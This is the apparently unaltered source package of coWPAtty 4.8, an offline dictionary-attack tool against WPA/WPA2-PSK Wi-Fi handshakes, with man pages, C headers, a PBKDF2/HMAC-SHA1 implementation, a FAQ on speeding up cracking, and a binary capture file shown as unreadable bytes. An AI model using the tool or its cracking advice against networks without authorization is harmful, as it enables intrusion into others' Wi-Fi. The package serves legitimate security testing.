cowpatty-4.8/000755 000765 000024 00000000000 13316751761 014072 5ustar00jwrightstaff000000 000000 cowpatty-4.8/genpmk.1000644 000765 000024 00000001667 13316751752 015447 0ustar00jwrightstaff000000 000000 .TH GENPMK "1" "June 2018" "genmpk 4.6" "User Commands" .SH NAME genmpk \- WPA-PSK precomputation attack .SH DESCRIPTION Precompute hash files to use with cowpatty .SH SYNOPSIS \fB genmpk\fR \fB-f\fR \fIWORDLIST\fR \fB-d\fR \fIOUTPUT-FILE\fR \fB-s\fR \fISSID\fR .SH OPTIONS .TP \fB\-f\fR Dictionary file .TP \fB\-d\fR Output hash file .TP \fB\-s\fR Network SSID (enclose in quotes if SSID includes spaces) .TP \fB\-h\fR Print this help information and exit .TP \fB\-v\fR Print verbose information (more \fB\-v\fR for more verbosity) .TP \fB\-V\fR Print program version and exit .SH AUTHOR genmpk was developed Joshua Wright . .PP This manual page was written by Samuel Henrique for the Debian project, it was based on \fBgenmpk -h\fR output and can be used by other projects as well. .SH SEE ALSO .br .B cowpatty(1) .br .B aircrack-ng(1) .br .B airodump-ng(1) .br .B airmon-ng(1) .br .B wifite(1) cowpatty-4.8/utils.h000644 000765 000024 00000001761 13316751752 015410 0ustar00jwrightstaff000000 000000 /* * coWPAtty - Brute-force dictionary attack against WPA-PSK. * * Copyright (c) 2004-2018, Joshua Wright * * This software may be modified and distributed under the terms * of the BSD-3-clause license. See the LICENSE file for details. */ /* * Significant code is graciously taken from the following: * wpa_supplicant by Jouni Malinen. This tool would have been MUCH more * difficult for me if not for this code. Thanks Jouni. */ /* Prototypes */ void lamont_hdump(unsigned char *bp, unsigned int length); char *printmac(unsigned char *mac); int IsBlank(char *s); int radiotap_offset(pcap_t *p, struct pcap_pkthdr *h); #define __swab16(x) \ ({ \ uint16_t __x = (x); \ ((uint16_t)( \ (((uint16_t)(__x) & (uint16_t)0x00ffU) << 8) | \ (((uint16_t)(__x) & (uint16_t)0xff00U) >> 8) )); \ }) #ifdef WORDS_BIGENDIAN #warning "Compiling for big-endian" #define le16_to_cpu(x) __swab16(x) #else #define le16_to_cpu(x) (x) #endif cowpatty-4.8/cowpatty.h000644 000765 000024 00000010415 13316751752 016116 0ustar00jwrightstaff000000 000000 /* * coWPAtty - Brute-force dictionary attack against WPA-PSK. * * Copyright (c) 2004-2018, Joshua Wright * * This software may be modified and distributed under the terms * of the BSD-3-clause license. See the LICENSE file for details. */ /* * Significant code is graciously taken from the following: * wpa_supplicant by Jouni Malinen. This tool would have been MUCH more * difficult for me if not for this code. Thanks Jouni. */ #include "common.h" /* IEEE 802.11 frame information */ #define DOT11HDR_A3_LEN 24 #define DOT11_FC_TYPE_MGMT 0 #define DOT11_FC_TYPE_CTRL 1 #define DOT11_FC_TYPE_DATA 2 #define DOT11_FC_SUBTYPE_DATA 0 #define DOT11_FC_SUBTYPE_DATACFACK 1 #define DOT11_FC_SUBTYPE_DATACFPOLL 2 #define DOT11_FC_SUBTYPE_DATACFACKPOLL 3 #define DOT11_FC_SUBTYPE_DATANULL 4 #define DOT11_FC_SUBTYPE_CFACK 5 #define DOT11_FC_SUBTYPE_CFACKPOLL 6 #define DOT11_FC_SUBTYPE_CFACKPOLLNODATA 7 #define DOT11_FC_SUBTYPE_QOSDATA 8 /* 9 - 11 reserved as of 11/7/2005 - JWRIGHT */ #define DOT11_FC_SUBTYPE_QOSNULL 12 struct dot11hdr { union { struct { uint8_t version:2; uint8_t type:2; uint8_t subtype:4; uint8_t to_ds:1; uint8_t from_ds:1; uint8_t more_frag:1; uint8_t retry:1; uint8_t pwrmgmt:1; uint8_t more_data:1; uint8_t protected:1; uint8_t order:1; } __attribute__ ((packed)) fc; uint16_t fchdr; } u1; uint16_t duration; uint8_t addr1[6]; uint8_t addr2[6]; uint8_t addr3[6]; union { struct { uint16_t fragment:4; uint16_t sequence:12; } __attribute__ ((packed)) seq; uint16_t seqhdr; } u2; } __attribute__ ((packed)); /* IEEE 802.1X frame information */ struct ieee802_1x_hdr { u8 version; u8 type; u16 length; /* followed by length octets of data */ } __attribute__ ((packed)); /* The 802.1x header indicates a version, type and length */ struct ieee8021x { u8 version; u8 type; u16 length; } __attribute__ ((packed)); #define MAXPASSLEN 64 #define MEMORY_DICT 0 #define STDIN_DICT 1 #define EAPDOT1XOFFSET 4 #define BIT(n) (1 << (n)) #define WPA_KEY_INFO_TYPE_MASK (BIT(0) | BIT(1) | BIT(2)) #define WPA_KEY_INFO_TYPE_HMAC_MD5_RC4 BIT(0) #define WPA_KEY_INFO_TYPE_HMAC_SHA1_AES BIT(1) #define WPA_KEY_INFO_KEY_TYPE BIT(3) /* 1 = Pairwise, 0 = Group key */ /* bit4..5 is used in WPA, but is reserved in IEEE 802.11i/RSN */ #define WPA_KEY_INFO_KEY_INDEX_MASK (BIT(4) | BIT(5)) #define WPA_KEY_INFO_KEY_INDEX_SHIFT 4 #define WPA_KEY_INFO_INSTALL BIT(6) /* pairwise */ #define WPA_KEY_INFO_TXRX BIT(6) /* group */ #define WPA_KEY_INFO_ACK BIT(7) #define WPA_KEY_INFO_MIC BIT(8) #define WPA_KEY_INFO_SECURE BIT(9) #define WPA_KEY_INFO_ERROR BIT(10) #define WPA_KEY_INFO_REQUEST BIT(11) #define WPA_KEY_INFO_ENCR_KEY_DATA BIT(12) /* IEEE 802.11i/RSN only */ #define WPA_NONCE_LEN 32 #define WPA_REPLAY_COUNTER_LEN 8 struct wpa_eapol_key { u8 type; u16 key_info; u16 key_length; u8 replay_counter[WPA_REPLAY_COUNTER_LEN]; u8 key_nonce[WPA_NONCE_LEN]; u8 key_iv[16]; u8 key_rsc[8]; u8 key_id[8]; /* Reserved in IEEE 802.11i/RSN */ u8 key_mic[16]; u16 key_data_length; /* u8 key_data[0]; */ } __attribute__ ((packed)); struct wpa_ptk { u8 mic_key[16]; /* EAPOL-Key MIC Key (MK) */ u8 encr_key[16]; /* EAPOL-Key Encryption Key (EK) */ u8 tk1[16]; /* Temporal Key 1 (TK1) */ union { u8 tk2[16]; /* Temporal Key 2 (TK2) */ struct { u8 tx_mic_key[8]; u8 rx_mic_key[8]; } auth; } u; } __attribute__ ((packed)); struct user_opt { char ssid[256]; char dictfile[256]; char pcapfile[256]; char hashfile[256]; u8 nonstrict; u8 checkonly; u8 verbose; u8 unused; }; struct capture_data { char pcapfilename[256]; int pcaptype; int dot1x_offset; int l2type_offset; int dstmac_offset; int srcmac_offset; }; struct crack_data { u8 aa[6]; u8 spa[6]; u8 snonce[32]; u8 anonce[32]; u8 eapolframe[99]; u8 eapolframe2[125]; u8 keymic[16]; u8 aaset; u8 spaset; u8 snonceset; u8 anonceset; u8 keymicset; u8 eapolframeset; u8 replay_counter[8]; int ver; /* Hashing algo, MD5 or AES-CBC-MAC */ int eapolframe_size; }; struct hashdb_head { uint32_t magic; uint8_t reserved1[3]; uint8_t ssidlen; uint8_t ssid[32]; }; struct hashdb_rec { uint8_t rec_size; char *word; uint8_t pmk[32]; } __attribute__ ((packed)); cowpatty-4.8/cowpatty.1000644 000765 000024 00000002242 13316751752 016026 0ustar00jwrightstaff000000 000000 .TH COWPATTY "1" "June 2018" "cowpatty 4.6" "User Commands" .SH NAME cowpatty \- Brute-force dictionary attack against WPA-PSK .SH DESCRIPTION Implementation of an offline dictionary attack against WPA/WPA2 networks using PSK-based authentication (e.g. WPA-Personal) .SH SYNOPSIS \fB cowpatty\fR \fB< -d | -r >\fR < \fIHASH-FILE\fR | \fICAPTURE-FILE\fR > \fB-f\fR \fIWORDLIST\fR \fB-s\fR \fISSID\fR .SH OPTIONS .TP \fB\-f\fR Dictionary file .TP \fB\-d\fR Hash file (genpmk) .TP \fB\-r\fR Packet capture file .TP \fB\-s\fR Network SSID (enclose in quotes if SSID includes spaces) .TP \fB\-c\fR Check for valid 4\-way frames, does not crack .TP \fB\-h\fR Print this help information and exit .TP \fB\-v\fR Print verbose information (more \fB\-v\fR for more verbosity) .TP \fB\-V\fR Print program version and exit .SH AUTHOR cowpatty was developed Joshua Wright . .PP This manual page was written by Samuel Henrique for the Debian project, it was based on \fBcowpatty -h\fR output and can be used by other projects as well. .SH SEE ALSO .br .B genpmk(1) .br .B aircrack-ng(1) .br .B airodump-ng(1) .br .B airmon-ng(1) .br .B wifite(1) cowpatty-4.8/INSTALL000644 000765 000024 00000001071 13316751752 015122 0ustar00jwrightstaff000000 000000 coWPAtty - Brute-force dictionary attack against WPA-PSK. Copyright(c) 2004-2018, Joshua Wright INSTALLATION Most users will want to just run "make" to generate the coWPAtty binary. Running "make strip" will result in a smaller binary without symbols. Note that the default settings in the Makefile assume you have OpenSSL installed on your system. OpenSSL has a considerably faster SHA1 implementation than the C or i386 assembler code included in sha1.c. If you don't have OpenSSL on your system ... install it. It's at www.openssl.org. cowpatty-4.8/CHANGELOG000644 000765 000024 00000004660 13316751752 015312 0ustar00jwrightstaff000000 000000 Jun 3 2018 Integrated man page from @samueloph, change license to BSD 3-clause. Jul 3 2009 Compatibility with modern gcc, fixed buffer overflow due to growth of OpenSSL SHA1_CTX variable from 64 to 96 bytes. Jun 4 2009 Lots of cool stuff including reading hashfiles from stdin, new liberal handling for 4-way handshake data, -2 option, fixed NULL deref when dealing with radiotap packet capture headers. Mar 20 2008 New support for OSX and FreeBSD systems; thanks to Dennis Herrmann for the FreeBSD patch. Added "make install" support with patch from Thomas d'Otreppe. Made OpenSSL mandatory for WPA support. Added support for 802.11e QoS traffic. Oct 03 2007 Added suppor for radiotap headers in packet captures. Thanks to Robin Wood for getting this started, and for the kick in the pants. Jan 01 2007 Fixed a segfault handling WPA2 networks (SHA1.len != MD5.len) May 03 2006 Added support for WPA2/PSK networks. Oct 20 2005 Minor fixes to handling PSK length appropriately. Oct 12 2005 Added support to precompute the PMK in a hashfile with genpmk Nov 02 2004 Changed name to coWPAtty, thanks T. Brian Granier for the tip. Oct 12 2004 Fixed bug that occured from the lack of a multicast key delivery following the four-way handshake. Thanks Seth Fogie for the caps. Sep 22 2004 Fixed bug in parsing frames that caused the SPA to be incorrectly reported. Sep 12 2004 Removed code to load words into memory before processing. Added functionality to read words from STDIN to interoperate with John the Ripper or other tools. Aug 21 2004 Fixed logic to handle incomplete four-way TKIP exchanges with an error message and exit. Aug 20 2004 Added Makefile option to use OpenSSL's SHA1 functions instead of the assembler code - big performance boost from 4.2 to 9.09 passphrases/second. P4 3GHz gets ~47.4 passphrases/second. Aug 19 2004 Optimized hmac-sha1 handling specific to pbdfk2 by caching repetitive values. Resulted in 25% performance gain. Aug 18 2004 Load words into memory instead of reverting to a read for each new word. Minor performance gain. Aug 11 2004 Merged patch from dragorn to use i386-optimized code from Ted Krovetz. My system's performance went from 2.37 passphrases/sec to 3.13/sec. Thanks dragorn! cowpatty-4.8/AUTHORS000644 000765 000024 00000000344 13316751752 015143 0ustar00jwrightstaff000000 000000 Primary author: Joshua Wright Many thanks to the people who have contributed to coWPAtty in many ways: Dennis Hermann Thomas d'Otreppe Andrew von Nady Robin Wood Mike Kershaw Michal Knobel Nathan Grennan cowpatty-4.8/Makefile000644 000765 000024 00000002400 13316751752 015526 0ustar00jwrightstaff000000 000000 ################################## # Well, I may be doing stupid things with make # OK, it was Makefile stupid'ness # I don't really understand what the hell I am doing with Make, I'm # just copying other files and seeing what works. # heh # i think thats all anyone does # make is a twisted beast ################################## LDLIBS = -lpcap CFLAGS = -pipe -Wall -DOPENSSL CFLAGS += -O2 LDLIBS += -lcrypto CFLAGS += -g3 -ggdb #CFLAGS += -static PROGOBJ = md5.o sha1.o utils.o cowpatty.o genpmk.o PROG = cowpatty genpmk BINDIR = /usr/local/bin CC = clang all: $(PROGOBJ) $(PROG) cowpatty: common.h md5.c md5.h sha1.h cowpatty.c cowpatty.h sha1.c \ sha1.h utils.c utils.h $(CC) $(CFLAGS) cowpatty.c -o cowpatty utils.o md5.o sha1.o $(LDLIBS) genpmk: genpmk.c cowpatty.h utils.h sha1.h common.h $(CC) $(CFLAGS) genpmk.c -o genpmk utils.o sha1.o $(LDLIBS) utils: utils.c utils.h $(CC) $(CFLAGS) utils.c -c md5: md5.c md5.h $(CC) $(CFLAGS) md5.c -c sha1: sha1.c sha1.h $(CC) $(CFLAGS) sha1.c -c clean: @rm $(PROGOBJ) $(PROG) strip: @ls -l $(PROG) @strip $(PROG) @ls -l $(PROG) install: all install -d $(DESTDIR)$(BINDIR) install -m 755 $(PROG) $(DESTDIR)$(BINDIR) cowpatty-4.8/FAQ000644 000765 000024 00000010046 13316751752 014425 0ustar00jwrightstaff000000 000000 coWPAtty - Brute-force dictionary attack against WPA-PSK. Copyright(c) 2004-2018, Joshua Wright FAQ Please send questions to the author, and I'll do my best to update this file to answer common questions. -------------------------------------------------------------------------------- Q: Why is it taking so long to test password entries for the correct WPA-PSK key? A: The design of the WPA-PSK algorithms is such that it is difficult to mount an effective dictionary attack. When mounting a dictionary attack, the passphrase we are testing has to be hashed with 4096 iterations of the HMAC-SHA1 algorithm (which is really 8192 full SHA1 invocations). This takes a long time, and has to be repeated for each word in the dictionary file. Q: What kind of performance can I expect with coWPAtty? A: I've done my best to optimize the code to squeeze out as much performance as possible. The OpenSSL SHA1 code is faster then the C and i386-assembler implementations that are included with the tool, and the default option in the Makefile. Here are the results from the two systems I use for development and testing: Processor: Intel Pentium 3 450Mhz, 897.84 bogomips, 9.8 passphrases/second Processor: Intel Pentium 4 3.8GHz, 5570.56 bogomips, 69.3 passphrases/second Q: How can I accelerate the dictionary cracking process? A: Make sure you are using the OpenSSL libraries on your system (openssl.org). If you are running an OpenSSL package that came with your Linux vendor, try downloading and compile your own local version, using optimizations for your processor. Don't expect this to result in a major performance increase though. The best thing to do is run coWPAtty on the system with the fastest processor you have access to. If you have success running coWPAtty on systems other than Intel 32-bit systems, please drop me a line. Alternatively, you can distribute the cracking load across multiple systems. Simply split the dictionary file into multiple pieces, and distribute the pieces to each system you want to use in the cracking process, along with a copy of the code and the capture file. Q: My passphrase isn't reported by coWPAtty, even though I know it's in the dictionary file. What gives? A: Make sure you have supplied the correct SSID on the command-line. An incorrect SSID will cause coWPAtty to be unable to identify the correct passphrase. Also make sure the dictionary is a unix text file not DOS. DOS text files have a control character at the end of each line that will be used as part of the passphrase and screw up the resulting hashes. Q: Is the SSID case-sensitive? A: Yes. Be certain you have the correct case for the SSID. Q: Why don't you add code to automatically cull the SSID from beacon frames? A: If the SSID is cloaked in beacon frames, you need to extract it from the association request information from the client station. I could add this parser, but it's easier to get it from a tool like Kismet. Q: What is the pertinent information for the sample capture file? A: Use the following information for the sample WPA four-way handshake in the eap-test.dump file: SSID: "somethingclever" Passphrase: "family movie night" Q: Does your choice of the name coWPAtty reflect your feelings about the IEEE 802.11i specification? A: No, not at all. In fact, the coWPAtty name was selected to reflect the quality of this tool. The IEEE 802.11i committee did a good job designing TKIP with the problems with paucity of processing capacity and desire to be applied with a software upgrade to existing hardware. The use of the pbkdf2 algorithm to hash the PSK was a good call - it makes dictionary attacks such as this one much less effective. Q: Why does the same code work for WPA1-PSK and WPA2-PSK? A: The PBKDF2 function is common between both systems. Q: What's up with Ken Jennings? A: That's what I'd like to know too! Maybe he can take a look at this code for me when he's not busy kicking everyone's ass on Jeopardy. cowpatty-4.8/md5.h000644 000765 000024 00000001631 13316751752 014731 0ustar00jwrightstaff000000 000000 /* * coWPAtty - Brute-force dictionary attack against WPA-PSK. * * Copyright (c) 2004-2018, Joshua Wright * * This software may be modified and distributed under the terms * of the BSD-3-clause license. See the LICENSE file for details. */ /* * Significant code is graciously taken from the following: * wpa_supplicant by Jouni Malinen. This tool would have been MUCH more * difficult for me if not for this code. Thanks Jouni. */ #ifndef MD5_H #define MD5_H void md5_mac(u8 * key, size_t key_len, u8 * data, size_t data_len, u8 * mac); void hmac_md5_vector(u8 * key, size_t key_len, size_t num_elem, u8 * addr[], size_t * len, u8 * mac); void hmac_md5(u8 * key, size_t key_len, u8 * data, size_t data_len, u8 * mac); #ifdef OPENSSL #include #else /* OPENSSL */ #error "OpenSSL is required for WPA/MD5 support." #endif /* OPENSSL */ #endif /* MD5_H */ cowpatty-4.8/sha1.c000644 000765 000024 00000014736 13316751752 015105 0ustar00jwrightstaff000000 000000 /* * coWPAtty - Brute-force dictionary attack against WPA-PSK. * * Copyright (c) 2004-2018, Joshua Wright * * This software may be modified and distributed under the terms * of the BSD-3-clause license. See the LICENSE file for details. */ /* * Significant code is graciously taken from the following: * wpa_supplicant by Jouni Malinen. This tool would have been MUCH more * difficult for me if not for this code. Thanks Jouni. * * i386 assembly SHA code taken from the umac.c message auth code by * Ted Krovetz (tdk@acm.org): * http://www.cs.ucdavis.edu/~rogaway/umac/umac.c * (dragorn) */ #include #include #include #include "common.h" #include "sha1.h" /* hack, hack, hack */ SHA1_CACHE cached; void sha1_mac(unsigned char *key, unsigned int key_len, unsigned char *data, unsigned int data_len, unsigned char *mac) { SHA1_CTX context; SHA1Init(&context); SHA1Update(&context, key, key_len); SHA1Update(&context, data, data_len); SHA1Update(&context, key, key_len); SHA1Final(mac, &context); } /* HMAC code is based on RFC 2104 Modifications (hacks) by Joshua Wright. Optimized a bit for pbkdf2 processing by caching values that are repetitive. There is some repetitive code in this function, which I've retained to make it more readable (for my sanity's sake). */ void hmac_sha1_vector(unsigned char *key, unsigned int key_len, size_t num_elem, unsigned char *addr[], unsigned int *len, unsigned char *mac, int usecached) { SHA1_CTX context; unsigned char k_ipad[65]; /* inner padding - key XORd with ipad */ unsigned char k_opad[65]; /* outer padding - key XORd with opad */ int i; /* the HMAC_SHA1 transform looks like: * * SHA1(K XOR opad, SHA1(K XOR ipad, text)) * * where K is an n byte key * ipad is the byte 0x36 repeated 64 times * opad is the byte 0x5c repeated 64 times * and text is the data being protected */ if (usecached == NOCACHED || !cached.k_ipad_set || !cached.k_opad_set) { /* We either don't want to cache values, or we do want to cache but haven't cached them yet. */ /* start out by storing key in pads */ memset(k_ipad, 0, sizeof(k_ipad)); memset(k_opad, 0, sizeof(k_opad)); memcpy(k_ipad, key, key_len); memcpy(k_opad, key, key_len); /* XOR key with ipad and opad values */ for (i = 0; i < 64; i++) { k_ipad[i] ^= 0x36; k_opad[i] ^= 0x5c; } SHA1Init(&context); /* init context for 1st pass */ SHA1Update(&context, k_ipad, 64); /* start with inner pad */ if (usecached) { /* Cached the context value */ memcpy(&cached.k_ipad, &context, sizeof(context)); cached.k_ipad_set = 1; } /* then text of datagram; all fragments */ for (i = 0; i < num_elem; i++) { SHA1Update(&context, addr[i], len[i]); } SHA1Final(mac, &context); /* finish up 1st pass */ /* perform outer SHA1 */ SHA1Init(&context); /* init context for 2nd pass */ SHA1Update(&context, k_opad, 64); /* start with outer pad */ if (usecached) { /* Cached the context value */ memcpy(&cached.k_opad, &context, sizeof(context)); cached.k_opad_set = 1; } SHA1Update(&context, mac, 20); /* then results of 1st hash */ SHA1Final(mac, &context); /* finish up 2nd pass */ return; } /* End NOCACHED SHA1 processing */ /* This code attempts to optimize the hmac-sha1 process by caching values that remain constant for the same key. This code is called many times by pbkdf2, so all optimizations help. If we've gotten here, we want to use caching, and have already cached the values for k_ipad and k_opad after SHA1Update. */ memcpy(&context, &cached.k_ipad, sizeof(context)); for (i = 0; i < num_elem; i++) { SHA1Update(&context, addr[i], len[i]); } SHA1Final(mac, &context); memcpy(&context, &cached.k_opad, sizeof(context)); SHA1Update(&context, mac, 20); SHA1Final(mac, &context); return; } static void pbkdf2_sha1_f(char *passphrase, char *ssid, size_t ssid_len, int iterations, int count, unsigned char *digest, int usecached) { unsigned char tmp[SHA1_MAC_LEN], tmp2[SHA1_MAC_LEN]; int i, j; unsigned char count_buf[4]; unsigned char *addr[] = { (unsigned char *)ssid, count_buf }; unsigned int len[] = { ssid_len, 4 }; size_t passphrase_len = strlen(passphrase); /* F(P, S, c, i) = U1 xor U2 xor ... Uc * U1 = PRF(P, S || i) * U2 = PRF(P, U1) * Uc = PRF(P, Uc-1) */ count_buf[0] = (count >> 24) & 0xff; count_buf[1] = (count >> 16) & 0xff; count_buf[2] = (count >> 8) & 0xff; count_buf[3] = count & 0xff; hmac_sha1_vector((unsigned char *)passphrase, passphrase_len, 2, addr, len, tmp, NOCACHED); memcpy(digest, tmp, SHA1_MAC_LEN); for (i = 1; i < iterations; i++) { hmac_sha1((unsigned char *)passphrase, passphrase_len, tmp, SHA1_MAC_LEN, tmp2, USECACHED); memcpy(tmp, tmp2, SHA1_MAC_LEN); for (j = 0; j < SHA1_MAC_LEN; j++) digest[j] ^= tmp2[j]; } /* clear the cached data set */ memset(&cached, 0, sizeof(cached)); } void pbkdf2_sha1(char *passphrase, char *ssid, size_t ssid_len, int iterations, unsigned char *buf, size_t buflen, int usecached) { int count = 0; unsigned char *pos = buf; size_t left = buflen, plen; unsigned char digest[SHA1_MAC_LEN]; while (left > 0) { count++; pbkdf2_sha1_f(passphrase, ssid, ssid_len, iterations, count, digest, NOCACHED); plen = left > SHA1_MAC_LEN ? SHA1_MAC_LEN : left; memcpy(pos, digest, plen); pos += plen; left -= plen; } } void hmac_sha1(unsigned char *key, unsigned int key_len, unsigned char *data, unsigned int data_len, unsigned char *mac, int usecached) { hmac_sha1_vector(key, key_len, 1, &data, &data_len, mac, usecached); } void sha1_prf(unsigned char *key, unsigned int key_len, char *label, unsigned char *data, unsigned int data_len, unsigned char *buf, size_t buf_len) { char zero = 0, counter = 0; size_t pos, plen; u8 hash[SHA1_MAC_LEN]; size_t label_len = strlen(label); unsigned char *addr[] = { (unsigned char *)label, (unsigned char *)&zero, data, (unsigned char *)&counter }; unsigned int len[] = { label_len, 1, data_len, 1 }; pos = 0; while (pos < buf_len) { plen = buf_len - pos; if (plen >= SHA1_MAC_LEN) { hmac_sha1_vector(key, key_len, 4, addr, len, &buf[pos], NOCACHED); pos += SHA1_MAC_LEN; } else { hmac_sha1_vector(key, key_len, 4, addr, len, hash, NOCACHED); memcpy(&buf[pos], hash, plen); break; } counter++; } } #ifndef OPENSSL #error "OpenSSL is required for WPA2/SHA1 support." #endif /* OPENSSL */ cowpatty-4.8/wpapsk-linksys.dump000644 000765 000024 00000112030 13316751752 017755 0ustar00jwrightstaff000000 000000 òigYDH ¤U ¤:gYD UgYD%%U ¤ ¤ wivastgYD%% ¤U ¤ wivastgYDS UgYD4rH ¤U ¤:gYDs UgYDw:U ¤ ¤gYDoo ¤ ¤pC%d1linksys US    *PPPP gYDp11@U:linksys  $20H`lgYDYYP:U ¤ ¤:C%d1linksys US  *PPPPgYDI: ¤U ¤:gYD K UgYDM:U ¤ ¤gYDREE: ¤U ¤: linksys PPPP*gYDS UgYD(Y$$:U ¤ ¤ gYD:U ¤ ¤_ W]$Eb 'bfǛTgYD ¤U ¤py ߡki}Ihҷd7.7H4>mESU`oQPPPP*gYD UgYDp,oo ¤ ¤ hC%d1linksys US    *PPPP gYDZ2:U ¤ ¤0w W]$Eb 'bfǛT[L&<=푝gPPPPgYDA ¤U ¤_ mo3:_gYDB UgYDMB:U ¤ ¤@  rkVrZ F$Y=ɺ"[G`B(e%86T,Y@e rR@~la8~>FR$~@?DŽDJrqԫMic, rv! .p5 %I g0(=UXgYDooo ¤ ¤h&C%d1linksys US    *PPPP gYD{q H ¤U ¤:gYDvr UgYDz! H ¤U ¤:gYDK" UgYDnL oo ¤ ¤hC%d1linksys US    *PPPP gYD\P H ¤U ¤;gYD[Q UgYD H ¤U ¤;gYD UgYD, \\A ¤U^  /P{(*n濤 pr'd!Y-qEPJoPȤgYD^ bbB^ ¤U `4`[:yy 01 `[ÄqjT TK/S,XGVv:V`9qgYDk oo ¤ ¤phFC%d1linksys US    *PPPP gYDN H ¤U ¤ ;gYDI UgYD\> H ¤U ¤0;gYDA UgYDul oo ¤ ¤h֟C%d1linksys US    *PPPP gYDop H ¤U ¤@;gYDq UgYDH ¤U ¤P;gYD UgYD}}A ¤Uf  _t#ȍ 'RR6 ?Ȧ6]ߑYx|EmK!Q=H ,.MubTo,5<ؤgYDn}}A ¤Uf  "muox+w\8UHEwЛq)vlt 3 G.`𫼊+.ͤu[ ClR=$;VgYDllBU ¤f  . Jy+)CJ )0GТHTK ゴ dz9O$#dM徰c)7gYDk}}A ¤Uf  'W. ?w&rC6 3O4ϾIgvz0sToу? ^Ceډe-ȄbotݴNv- ĤgYDioo ¤ ¤@hfC%d1linksys US    *PPPP gYDllBU ¤fP  6\5KUw=Y=Fx2î(VW/yDJ>9q~2ɢ^bT kQPgYDllJU ¤fP  6\5KUw=Y=Fx2î(VW/yDJ>9q~2ɢ^bT kQPgYD}}A ¤Uf  9(m:Gg憑0Z\Լs!_:Q2m3#B.e. n T?*"w?>/VQOk*0ZgYDV\\A ¤U0  5c ĿXOpnUy`TA >pT'‰ߠzKingYDLH ¤U ¤;gYDI UgYDH ¤U ¤;gYD  UgYD(oo ¤ ¤0hC%d1linksys US    *PPPP gYDH ¤U ¤;gYD UgYDVAH ¤U ¤;gYD)B UgYD'joo ¤ ¤hC%d1linksys US    *PPPP gYDmH ¤U ¤;gYDn UgYDH ¤U ¤;gYD UgYD.A ¤Uf {p*y{2Fn+۷9֧)/9 r]ʛX_I feal/ [dd6"D83sl11fcO &l6]$1?/gh\*GugYDA ¤Uf  B3ݒ ?'"(JAu|5Ȏ"4խİZMX011Tv &P5V9kr 9=Uc.|8FY1PJgYD1jA ¤UfP q-:{=0Ew̍6ࣳtiPݔP{j9SI i>a($zܸ?Rnu1HD`Gn-D ?vuHgrgYDoo ¤ ¤`6C%d1linksys US    *PPPP gYD BU ¤fp  {cJT75Ő.p!u/|\{8,H)5\pG)W qR?> dX`-*Q,i>R9]ӆv+bVY$%|tL/L`.DrG_TEyim QvoGPuI+ RgYD& oo ¤ ¤hƪC%d1linksys US    *PPPP gYD$_ H ¤U ¤ UgYD H ¤U ¤pbԙa9LJ$89gUgYD A ¤Ufp   efsa-TߘovLۂp#pU9M pK~ޯ`g+e'Mn/*[sR"*I[yQ/ 5V1hG)n׳31Uԉَf%~kզgYDlUH ¤U ¤@=gYDgV UgYDYA ¤Uf  ۔&RBO/-'oE{ S3y *<> et:U&̐qE~. /_r/ֵJDާ˾|QigYD$]A ¤Uf  fGK6lGz$GM Nbxj5T|iԶK- s3OJy(*c;ܻ3}OgYD$llBU ¤fp n!!E:v}8Ǧꤐ(]x)wUgd[}I\l_\'RX1*9$љgYDn H ¤U ¤P=gYDj UgYDNS H ¤U ¤`=gYDUT UgYDw oo ¤ ¤hfC%d1linksys US    *PPPP gYD{ H ¤U ¤p=gYDi} H ¤U ¤p=gYDg~ UgYD H ¤U ¤=gYD] UgYD oo ¤ ¤0hC%d1linksys US    *PPPP gYDj H ¤U ¤=gYDr UgYDk H ¤U ¤=gYDn UgYD oo ¤ ¤DC%d1linksys US    *PPPP gYD H ¤U ¤=gYD UgYDB H ¤U ¤=gYD UgYD'oo ¤ ¤hC%d1linksys US    *PPPP gYD+H ¤U ¤=gYD, UgYD`@H ¤U ¤=gYDHA UgYDA ¤Uf  Pc 6سckwMdn\жbfgG(`V^~^}ecOŤ\۫ڄodV`A8g0tF+,FoOq-fOV\#%iq>?.SOgYDA ¤U^  )(S;Q9w?0߂-^\7vGS}=:Z&3ȘTyLɃ28[]; +,l t סJvJDK^և*vTm(H&&5p7ڲuj" Ё!yMO19_YrƲ_gYDB^ ¤U `A>Iti'x'ӭ:;+ve;GGsH a7e:<vR UAZ{bHd?d2Upވ99u Vw 40,yU^GP'o_e ^r= 0-h 2Q0xu[yoKGoH ;gx^KsķgYDuoo ¤ ¤hC%d1linksys US    *PPPP gYDH ¤U ¤=gYD UgYDH ¤U ¤>gYD UgYDBU ¤f  53 FA=#ⷎ}ʭ``\Wr~f.3 40@.mnx~oWR%Z&cБB-';*v&[Vl/:9| M'_c0/f2a ۺ>ʧgYDoo ¤ ¤h6C%d1linksys US    *PPPP gYD{IH ¤U ¤>gYDJ UgYD iH ¤U ¤ >gYDi UgYDoo ¤ ¤PhC%d1linksys US    *PPPP gYDH ¤U ¤0>gYD UgYD\H ¤U ¤@>gYDG UgYD%oo ¤ ¤hVC%d1linksys US    *PPPP gYD(H ¤U ¤P>gYD* UgYDH ¤U ¤`>gYD UgYDoo ¤ ¤hC%d1linksys US    *PPPP gYD6H ¤U ¤p>gYD@ UgYDH ¤U ¤>gYD UgYD'B:U ¤ ¤   Xw'սn3>E1Q+R-8ٮp:Ɵ3֩Nքu'):[N W%s 4-m=b\֌Ú 2&E)Bşs"U}BVhZsJ|rv,;>X~D0gYD-A ¤U ¤  j*qgȌVdyEd64y SX|1Z0Gqu|[ s<(tԮw]x%&É> (Q^ :>^O84]OgYD. UgYDGoo ¤ ¤[xC%d1linksys US    *PPPP gYDaJUUA ¤Uf  cIE[I^/USّpjpD#( ` ז6gYDPbbBU ¤f  .q-@g@z*i19RӞ{]Ꝺ^W۠<(<%;]r_DX(gYDѺH ¤U ¤>gYDл UgYDO H ¤U ¤>gYD% UgYD oo ¤ ¤hC%d1linksys US    *PPPP gYD+ H ¤U ¤>gYD3 UgYD< H ¤U ¤>gYDg= UgYDe oo ¤ ¤PhC%d1linksys US    *PPPP gYDBi H ¤U ¤>gYDIj UgYD H ¤U ¤>gYDc UgYD oo ¤ ¤h&C%d1linksys US    *PPPP gYDi H ¤U ¤>gYDb UgYDsUH ¤U ¤?gYD`V UgYDoo ¤ ¤ hC%d1linksys US    *PPPP gYDH ¤U ¤?gYD UgYDH ¤U ¤ ?gYD UgYDRoo ¤ ¤p hFC%d1linksys US    *PPPP gYDH ¤U ¤0?gYD# UgYD7H ¤U ¤@?gYD8 UgYDRcoo ¤ ¤ hC%d1linksys US    *PPPP gYDgH ¤U ¤P?gYDh UgYDNH ¤U ¤`?gYDN UgYDSoo ¤ ¤0 hfC%d1linksys US    *PPPP 